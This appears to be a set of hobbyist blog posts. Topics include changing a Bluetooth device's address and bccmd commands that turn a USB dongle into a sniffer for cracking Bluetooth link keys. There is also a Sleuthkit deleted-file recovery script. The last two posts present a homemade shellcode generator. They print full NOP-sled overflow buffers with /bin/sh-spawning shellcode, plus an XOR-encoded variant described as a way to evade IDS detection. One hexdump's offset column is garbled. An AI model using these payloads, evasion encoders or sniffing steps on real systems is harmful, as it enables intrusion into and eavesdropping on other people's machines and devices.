Optixx

Wrote a quick & dirty python wrapper for the bluez-utils bccmd command to set a the btaddr of an bluetooth hci device. The native bccmd syntax is awkward, so that i found it handy to have a script which accepts normal formated btaddr as an argument and does some error checking and status infomation.

Usage:

root@linux:~/devel/tech/bluetooth/# ./setbtaddr hci0 01:0E:07:75:B7:12
Exec './bccmd  -d hci0 psset -r bdaddr 0x75 0x00 0x12 0xB7 0x07 0x00 0x0E 0x01'
hci0:   Type: USB
        BD Address: 01:0E:07:75:B7:12 ACL MTU: 192:8 SCO MTU: 64:8
        UP RUNNING
        RX bytes:86 acl:0 sco:0 events:9 errors:0
        TX bytes:33 acl:0 sco:0 commands:9 errors:0

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Since the 23c3 every interested researcher knew that is easy to compromise bluetooth sessions using the BTcrack tool.Thierry Zoller showed how it’s possible to retrieve link keys, The only problem was to get hands on a bluetooth sniffer device to get the raw bluetooth packets. Such devices are not available at consumer prices. But somehow Max Moser found a way to tranform a vanilla usb bt dongle into a bluetooth sniffer device. Don’t believe the hype…Now bluetooth security is dead.

Mini Howto:

#Backup old firmware
dfutool -d hci0 archiv backup.dfu
# Backup config
bccmd -d hci0 pslist -s 0x000F >> backup_cfg
# Check Vendor ID ( has to be 0x0a12)
bccmd -d hci0 psget -s 0x000f 0x02be
# Write new Product ID
bccmd -d hci0 psset -s 0x0002 0x02bf 0x0002 

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Wrote a little Bash script using Sleuthkit tools to recover a deleted file from a partion. Tested the script with ext2 and fat32 filesystems.

Setup a test image:

dd  if=/dev/zero of=image  bs=1k count=8192
mkfs.ext2 image
mount -o loop image /mnt/image
cp something /mnt/image
rm /mnt/image/something
sync
umount /mnt/image

Now you can start the script to find a token of the deleted file: ./find.sh image “Test” The Code for find.sh

#!/bin/sh

IMAGE=$1
TOKEN=$2
BSIZE=1024
TYPE="linux-ext2"
TMP="dls_$(date +%Y%d%m_%H%M%S)"

if [ $# -ne 2 ]
then
    echo "Usage: $0 image token"
    exit -1
fi

if [ ! -f $IMAGE ]
then
  echo "Cannot find $IMAGE"
  exit -1
fi

if [  -z "$TOKEN" ]
then
  echo "Pleae give search token"
  exit -1
fi

echo "--------------------------"
echo "Found deleted"
fls -f $TYPE -rd $IMAGE
dls -f $TYPE $IMAGE > $TMP
strings -t d $TMP > $TMP.str
echo "--------------------------"
grep -i "$TOKEN" $TMP.str
echo "--------------------------"
echo -en "Select Offset:"
read n
ADDR=$(grep -i "$TOKEN" $TMP.str | grep "$n" |  sed 's/^[ \t]*//' | head -n 1 | cut -d " " -f1)
if [ -z "$ADDR" ]
then
    echo "Nothing found for '$TOKEN'"
    exit -1
fi
echo "Found $ADDR"
OFFSET=$(echo "$ADDR / $BSIZE" | bc)
echo "Using Offset $OFFSET"
BLOCK=$(dcalc -f $TYPE  -u $OFFSET  $IMAGE)
echo "Using Block $BLOCK"
echo "----------------------------"
dcat -f $TYPE  $IMAGE  $BLOCK
echo
echo "----------------------------"
INODE=$(ifind -f $TYPE  $IMAGE -d $BLOCK)
echo "Found Inode $INODE"
istat -f $TYPE $IMAGE $INODE
BLOCKS=$(istat -f $TYPE $IMAGE $INODE | tail -n 1)
echo "---------------------------"
echo "Found Blocks $BLOCKS"
echo "---------------------------"
(for BLOCK in $BLOCKS
do
   dcat -f $TYPE  $IMAGE  $BLOCK
done) | tee $TMP.found
echo "---------------------------"
echo "Saved to $TMP.found"
echo "---------------------------"
rm -f $TMP $TMP.str

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Made a nice shellcode using the python inlineEgg library. The shellcode is designed to smash the stack of a programm which is listen on a socket. The read buffer gets overflowed by the shellcode. The code was tested an on older SUSE9.0, because current disto use pie and ssp

Features:

• Python script that generates the shellcode
• Re-uses the listen socket of the victim and connects it to new shell
• Scans for correct fd and peername
• Embedded Telnet client which connects to created remote shell

• Encoder to generate polymorph shellcode

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Updated my shellcode generation tool. Added shellcode encryption, to hide from IDS which scan for well known strings in the shellcode, like ‘/bin/sh’. The encryption is quite simple, just add,sub,xor or move by an fixed offset. The tool added also a hook to decode the shellcode before it gets called.

Changelog:

• Use getopt for command line parsing
• Fixed off by one bug in hex dump output
• Added simple shellcode encryption

./mkbuffer -m gen -l 256 -c xor -o 2 -f CODE -e CODE
------------------------------------------------------
Start: 0x0x80499a0
End:   0x0x80499c9
Len:   0x0029 (41 bytes)
jump:  0x00000000
------------------------------------------------------
Crypt Shellcode 'xor' offset='2'
------------------------------------------------------
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:eb 11 5e 31 c9 b1 36 80 74 0e ff 02 80 e9 01 75
0x0075:f6 eb 05 e8 ea ff ff ff 33 c2 b2 44 33 d9 33 cb
0x00cb:cf 82 e9 12 59 33 c2 8a 41 05 52 51 8b e3 b2 09
0x0009:33 d0 cf 82 ea e9 fd fd fd 2d 60 6b 6c 2d 71 6a
0x006a:5a 92 92 92 57 8b e7 55 54 33 f4 51 ea 8c 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
------------------------------------------------------
Writing Shellcode to 'CODE'
------------------------------------------------------
Starting Subshell
setup env $CODE
------------------------------------------------------

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Inspired by an article in german Hakin9 Magazin from October 2005, i wrote a little programm to test and generate shellcode.A good place to learn about buffer overflows is here. I found a interesting python framwork called inlinegg for shellcode generating. This make shellcode developing really easy and effective.

My simple tool is used to prepare buffers with shellcode.The actual asm code is done with nasm and linked a against a gcc main programm. The programm has three modes: dump, exec and gen.

Dump does a hexdump of the plain shellcode, usefull when tracing null bytes.

For testing the functionality of the shellcode you can use exec which simple calls the shellcode like function.

Gen is used to build a buffer with the actual shellcode. The code is hexdumped to stdout, raw code it written to stderr and also the enviroment var $CODE is set. Also the target buffer size and stack jump address as to be passed to the program. The buffer ist first filled with the jump address and then the first half with NOPs overwritten. The shellcode gets copied to the middle of the buffer.

./mkbuffer gen 256  0x1234567
Start: 0x0x8048bb0
End:   0x0x8048bd9
Len:   0x29 (41 bytes)
jump:  0x1234567
90
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0010:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0020:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0030:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0040:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0050:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0060:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0070:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31
0x0080:c0 b0 46 31 db 31 c9 cd 80 eb 10 5b 31 c0 88 43
0x0090:07 50 53 89 e1 b0 0b 31 d2 cd 80 e8 eb ff ff ff
0x00a0:2f 62 69 6e 2f 73 68 58 45 23 01 67 45 23 01 67
0x00b0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00c0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00d0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00e0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00f0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01
setup env $CODE

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